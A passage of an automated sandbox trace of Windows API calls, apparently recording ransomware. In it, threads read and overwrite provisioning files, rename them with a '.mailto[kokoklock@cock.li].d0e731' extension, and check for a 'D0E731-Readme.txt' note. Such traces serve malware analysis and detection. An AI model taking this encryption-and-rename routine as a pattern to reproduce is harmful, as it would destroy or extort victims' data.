RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x297ab5b7 [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x4e061598 [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x50c61282 [0085.918] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x61c0464d [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x777a84cf [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0xcfc5658f [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0xe03f03f9 [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x8177a0b5 [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x27ab5af1 [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x1e2ee4b0 [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0xfd8c3486 [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0xd30a4d53 [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x5d5f125c [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x7d949559 [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x60372a48 [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x1a019ef3 [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x4852d993 [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0xb8c93546 [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0xed905c8a [0085.919] RtlRandom (in: Seed=0x2d4bf810 | out: Seed=0x2d4bf810) returned 0x14de56de [0085.929] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0085.929] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0085.929] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0085.929] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0085.929] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd9e8 [0085.929] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd9e8) returned 1 [0085.929] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.929] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.929] ReadFile (in: hFile=0x738, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x2de, lpNumberOfBytesRead=0x2d4bf804, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2d4bf804*=0x2de, lpOverlapped=0x0) returned 1 [0085.930] SetFilePointerEx (in: hFile=0x738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4bf7cc | out: lpNewFilePointer=0x0) returned 1 [0085.930] WriteFile (in: hFile=0x738, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x2de, lpNumberOfBytesWritten=0x2d4bf800, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2d4bf800*=0x2de, lpOverlapped=0x0) returned 1 [0085.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0085.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd9e8 [0085.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd9e8) returned 1 [0085.930] WriteFile (in: hFile=0x738, lpBuffer=0x55dd8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d4bf7fc, lpOverlapped=0x0 | out: lpBuffer=0x55dd8a8*, lpNumberOfBytesWritten=0x2d4bf7fc*=0x20, lpOverlapped=0x0) returned 1 [0085.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0085.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0085.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0085.930] WriteFile (in: hFile=0x738, lpBuffer=0x55dd9c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d4bf828, lpOverlapped=0x0 | out: lpBuffer=0x55dd9c0*, lpNumberOfBytesWritten=0x2d4bf828*=0x8, lpOverlapped=0x0) returned 1 [0085.930] WriteFile (in: hFile=0x738, lpBuffer=0x2d4bf840*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d4bf828, lpOverlapped=0x0 | out: lpBuffer=0x2d4bf840*, lpNumberOfBytesWritten=0x2d4bf828*=0x4, lpOverlapped=0x0) returned 1 [0085.930] WriteFile (in: hFile=0x738, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d4bf828, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d4bf828*=0x4, lpOverlapped=0x0) returned 1 [0085.930] WriteFile (in: hFile=0x738, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d4bf828, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d4bf828*=0x6c, lpOverlapped=0x0) returned 1 [0085.931] WriteFile (in: hFile=0x738, lpBuffer=0x55dd8f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d4bf828, lpOverlapped=0x0 | out: lpBuffer=0x55dd8f8*, lpNumberOfBytesWritten=0x2d4bf828*=0x20, lpOverlapped=0x0) returned 1 [0085.931] WriteFile (in: hFile=0x738, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d4bf828, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d4bf828*=0x4, lpOverlapped=0x0) returned 1 [0085.931] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0085.931] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd998) returned 1 [0085.931] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd9c0) returned 1 [0085.931] CloseHandle (hObject=0x738) returned 1 [0085.931] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18c) returned 0x33f2308 [0085.931] wcscpy (in: _Dest=0x33f2308, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" [0085.931] wcscat (in: _Dest=0x33f2308, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0085.931] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.932] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2308) returned 1 [0085.932] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0085.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a7e8 [0085.932] wcscpy (in: _Dest=0x348a7e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.932] wcscat (in: _Dest=0x348a7e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.932] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a7e8) returned 1 [0085.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8918) returned 1 [0085.932] RtlExitUserThread (Status=0x1) Thread: id = 1297 os_tid = 0x1160 [0085.385] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0085.833] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 1 [0085.865] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0085.865] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d53fb40 | out: lpFileSize=0x2d53fb40*=480) returned 1 [0085.865] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x1dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.865] ReadFile (in: hFile=0x450, lpBuffer=0x2d53fb14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d53fb10, lpOverlapped=0x0 | out: lpBuffer=0x2d53fb14*, lpNumberOfBytesRead=0x2d53fb10*=0x4, lpOverlapped=0x0) returned 1 [0085.866] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.866] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0085.866] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0085.866] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd880 [0085.866] NtQuerySystemTime (in: CurrentTime=0x2d53faec | out: CurrentTime=0x2d53faec*=132121176437578986) returned 0x0 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x6c0ecb60 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x1cab6be8 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0xad7aa08f [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x7af240b0 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x21268e73 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x96b0d21d [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x38961810 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x564f337c [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0xbdd29855 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x88380c7 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x146aa1a6 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x4bda9f37 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0xc0dd1820 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x224039fd [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0xa2afda03 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0xa0bb53ac [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x943ccacb [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0xa609e7de [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x83786399 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x1cbb86d2 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x8cd16b83 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0xcab9abe7 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x55f3295f [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x7bf43ec5 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0xddc37646 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0xb1478df3 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x1d325c32 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x9c2ef31c [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x95e14a46 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0x4b7dcb31 [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0xb6c396bf [0085.867] RtlRandom (in: Seed=0x2d53faf8 | out: Seed=0x2d53faf8) returned 0xd88da485 [0085.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0085.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd970 [0085.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd970) returned 1 [0085.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.879] ReadFile (in: hFile=0x450, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x2d53faec, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2d53faec*=0x1e0, lpOverlapped=0x0) returned 1 [0085.879] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d53fab4 | out: lpNewFilePointer=0x0) returned 1 [0085.879] WriteFile (in: hFile=0x450, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2d53fae8, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2d53fae8*=0x1e0, lpOverlapped=0x0) returned 1 [0085.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0085.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd948 [0085.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd948) returned 1 [0085.879] WriteFile (in: hFile=0x450, lpBuffer=0x55dd8f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d53fae4, lpOverlapped=0x0 | out: lpBuffer=0x55dd8f8*, lpNumberOfBytesWritten=0x2d53fae4*=0x20, lpOverlapped=0x0) returned 1 [0085.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0085.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.880] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.880] WriteFile (in: hFile=0x450, lpBuffer=0x55dd920*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d53fb10, lpOverlapped=0x0 | out: lpBuffer=0x55dd920*, lpNumberOfBytesWritten=0x2d53fb10*=0x8, lpOverlapped=0x0) returned 1 [0085.880] WriteFile (in: hFile=0x450, lpBuffer=0x2d53fb28*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d53fb10, lpOverlapped=0x0 | out: lpBuffer=0x2d53fb28*, lpNumberOfBytesWritten=0x2d53fb10*=0x4, lpOverlapped=0x0) returned 1 [0085.915] WriteFile (in: hFile=0x450, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d53fb10, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d53fb10*=0x4, lpOverlapped=0x0) returned 1 [0085.915] WriteFile (in: hFile=0x450, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d53fb10, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d53fb10*=0x6c, lpOverlapped=0x0) returned 1 [0085.915] WriteFile (in: hFile=0x450, lpBuffer=0x55dda10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d53fb10, lpOverlapped=0x0 | out: lpBuffer=0x55dda10*, lpNumberOfBytesWritten=0x2d53fb10*=0x20, lpOverlapped=0x0) returned 1 [0085.915] WriteFile (in: hFile=0x450, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d53fb10, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d53fb10*=0x4, lpOverlapped=0x0) returned 1 [0085.915] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0085.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.916] CloseHandle (hObject=0x450) returned 1 [0085.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16a) returned 0x33f2308 [0085.916] wcscpy (in: _Dest=0x33f2308, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0085.916] wcscat (in: _Dest=0x33f2308, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0085.916] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.916] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2308) returned 1 [0085.917] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0085.917] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0085.917] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.917] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.917] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0085.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34954b8) returned 1 [0085.917] RtlExitUserThread (Status=0x1) Thread: id = 1298 os_tid = 0x1164 [0085.385] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0085.833] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0085.863] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 